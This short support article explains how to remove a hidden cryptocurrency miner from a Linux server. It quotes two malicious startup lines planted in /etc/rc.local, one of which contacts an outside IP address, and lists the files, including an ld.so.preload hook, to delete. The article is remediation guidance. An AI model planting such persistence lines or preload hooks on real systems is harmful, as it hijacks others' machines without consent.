Search Our Database

Fixing high server loads caused by mining processes in Linux

Last updated on |
by

If you encounter an abnormal high load process in your server, it may be due to hidden mining processes.

vi /etc/rc.local

Check for the following 2 lines in the file and remove it:

nohup /usr/bin/_-pud 119.78.232.8 >/dev/null&

nohup /usr/bin/_-minerd -c /usr/bin_-config 2> /dev/null&

Screenshot from 2015-11-25 17:07:12

Remove the following files:

rm /usr/bin/_-minerd
rm /usr/bin/_-pud
rm /usr/bin/_-config 
rm /etc/ld.so.preload
rm /lib64/libncom.so.4.0.1

Run the top command to view the running processes:

top

If the process “_minerd” is found, use the kill command to end the process with the following

kill -9 $_minerd
# Replace $_minerd with the process ID as seen when running top